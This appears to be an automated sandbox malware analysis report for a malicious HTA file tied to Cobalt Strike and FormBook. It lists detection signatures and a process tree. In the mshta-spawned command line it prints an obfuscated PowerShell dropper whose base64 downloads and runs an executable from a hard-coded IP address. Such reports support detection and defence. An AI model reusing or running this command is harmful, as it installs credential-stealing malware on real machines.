Windows
Analysis Report
njo.hta
Overview
General Information
Detection
Cobalt Strike, FormBook
Score: | 100 |
Range: | 0 - 100 |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Detected Cobalt Strike Beacon
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected FormBook
Yara detected Powershell decode and execute
Binary is likely a compiled AutoIt script file
Found direct / indirect Syscall (likely to bypass EDR)
Joe Sandbox ML detected suspicious sample
Loading BitLocker PowerShell Module
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Performs DNS queries to domains with low reputation
PowerShell case anomaly found
Powershell drops PE file
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: Suspicious MSHTA Child Process
Suspicious command line found
Suspicious powershell command line found
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Checks if the current process is being debugged
Compiles C# or VB.Net code
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
Potential key logger detected (key state polling based)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Uncommon Svchost Parent Process
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Classification
- System is w10x64
mshta.exe (PID: 7572 cmdline:
mshta.exe "C:\Users\ user\Deskt op\njo.hta " MD5: 06B02D5C097C7DB1F109749C45F3F505) cmd.exe (PID: 7664 cmdline:
"C:\Window s\system32 \cmd.exe" "/C POwERs HElL.exE -Ex bypas s -N Op - w 1 -C DEVIc ecreDEntIa lDePLoyMEn T.ExE ; IEX($(IEX( '[SysteM.t exT.ENCoDI Ng]'+[ChaR ]0X3a+[Cha R]58+'utf8 .getStrinG ([systEm.c ONveRt]'+[ char]58+[c Har]58+'Fr OmbAse64ST RinG('+[CH ar]0X22+'J Fpzb2RoaDd rWCAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICA9I CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIGFkRC1 UeXBlICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI C1tRU1iRVJ kRWZpTkl0a U9uICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICd bRGxsSW1wb 3J0KCJ1Ukx tb04uZExMI iwgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgQ2h hclNldCA9I ENoYXJTZXQ uVW5pY29kZ SldcHVibGl jIHN0YXRpY yBleHRlcm4 gSW50UHRyI FVSTERvd25 sb2FkVG9Ga WxlKEludFB 0ciAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICBVb 2pXamtsLHN 0cmluZyAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CBhYW15WG9 2b08sc3Rya W5nICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgIHZ HY09aUFhYa Cx1aW50ICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gIEJaUXhpd VksSW50UHR yICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgIHhIb Ck7JyAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA tTmFtRSAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAiY09pYm9 lIiAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAtT mFtRXNQYUN lICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgIGxBd CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAtUGF zc1RocnU7I CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICRac29 kaGg3a1g6O lVSTERvd25 sb2FkVG9Ga WxlKDAsImh 0dHA6Ly8xN zIuMjQ1LjI wOC4yMS8yM zMvaWdjYy5 leGUiLCIkR U5WOkFQUER BVEFcaWdjY y5leGUiLDA sMCk7c3RhU nQtc0xlZVA oMyk7aW52T 0tlLWlURW0 gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgIiRlT nY6QVBQREF UQVxpZ2NjL mV4ZSI='+[ CHaR]34+') )')))" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) conhost.exe (PID: 7672 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) powershell.exe (PID: 7716 cmdline:
POwERsHElL .exE -Ex bypass -NOp -w 1 -C DEVIcecr eDEntIalDe PLoyMEnT.E xE ; IEX ($(IEX('[S ysteM.texT .ENCoDINg] '+[ChaR]0X 3a+[ChaR]5 8+'utf8.ge tStrinG([s ystEm.cONv eRt]'+[cha r]58+[cHar ]58+'FrOmb Ase64STRin G('+[CHar] 0X22+'JFpz b2RoaDdrWC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICA9ICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg IGFkRC1UeX BlICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgIC1t RU1iRVJkRW ZpTkl0aU9u ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICdbRG xsSW1wb3J0 KCJ1Ukxtb0 4uZExMIiwg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgQ2hhcl NldCA9IENo YXJTZXQuVW 5pY29kZSld cHVibGljIH N0YXRpYyBl eHRlcm4gSW 50UHRyIFVS TERvd25sb2 FkVG9GaWxl KEludFB0ci AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICBVb2pX amtsLHN0cm luZyAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICBh YW15WG92b0 8sc3RyaW5n ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIHZHY0 9aUFhYaCx1 aW50ICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIE JaUXhpdVks SW50UHRyIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgIHhIbCk7 JyAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAtTm FtRSAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAi Y09pYm9lIi AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAtTmFt RXNQYUNlIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgIGxBdCAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAtUGFzc1 RocnU7ICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICRac29kaG g3a1g6OlVS TERvd25sb2 FkVG9GaWxl KDAsImh0dH A6Ly8xNzIu MjQ1LjIwOC 4yMS8yMzMv aWdjYy5leG UiLCIkRU5W OkFQUERBVE FcaWdjYy5l eGUiLDAsMC k7c3RhUnQt c0xlZVAoMy k7aW52T0tl LWlURW0gIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgIiRlTnY6 QVBQREFUQV xpZ2NjLmV4 ZSI='+[CHa R]34+'))') ))" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) csc.exe (PID: 8064 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\csc .exe" /noc onfig /ful lpaths @"C :\Users\us er\AppData \Local\Tem p\qetstupm \qetstupm. cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D) cvtres.exe (PID: 8108 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\cvtr es.exe /NO LOGO /READ ONLY /MACH INE:IX86 " /OUT:C:\Us ers\user\A ppData\Loc al\Temp\RE SD004.tmp" "c:\Users \user\AppD ata\Local\ Temp\qetst upm\CSCEF3 0E185BA764 44FA670BC6 3B6F1A196. TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0) igcc.exe (PID: 2668 cmdline:
"C:\Users\ user\AppDa ta\Roaming \igcc.exe" MD5: BF53CF5790AB537024A9A9C71CF399D6) svchost.exe (PID: 5672 cmdline:
"C:\Users\ user\AppDa ta\Roaming \igcc.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B) WRNKS5Hlc0y.exe (PID: 1336 cmdline:
"C:\Progra m Files (x 86)\GSuVlZ LJvYBiwWmR wxSqNDCqct QDFEzoiYNZ PHkdLLawvx xNaIbP\lfy Llz8ui.exe " MD5: 9C98D1A23EFAF1B156A130CEA7D2EE3A) AtBroker.exe (PID: 7400 cmdline:
"C:\Window s\SysWOW64 \AtBroker. exe" MD5: D5B61959A509BDA85300781F5A829610) firefox.exe (PID: 7756 cmdline:
"C:\Progra m Files\Mo zilla Fire fox\Firefo x.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Formbook, Formbo | FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware. |
⊘No configs have been found
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
Click to see the 3 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDecodeAndExecute | Yara detected Powershell decode and execute | Joe Security |
System Summary |
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Source: | Author: Michael Haag: |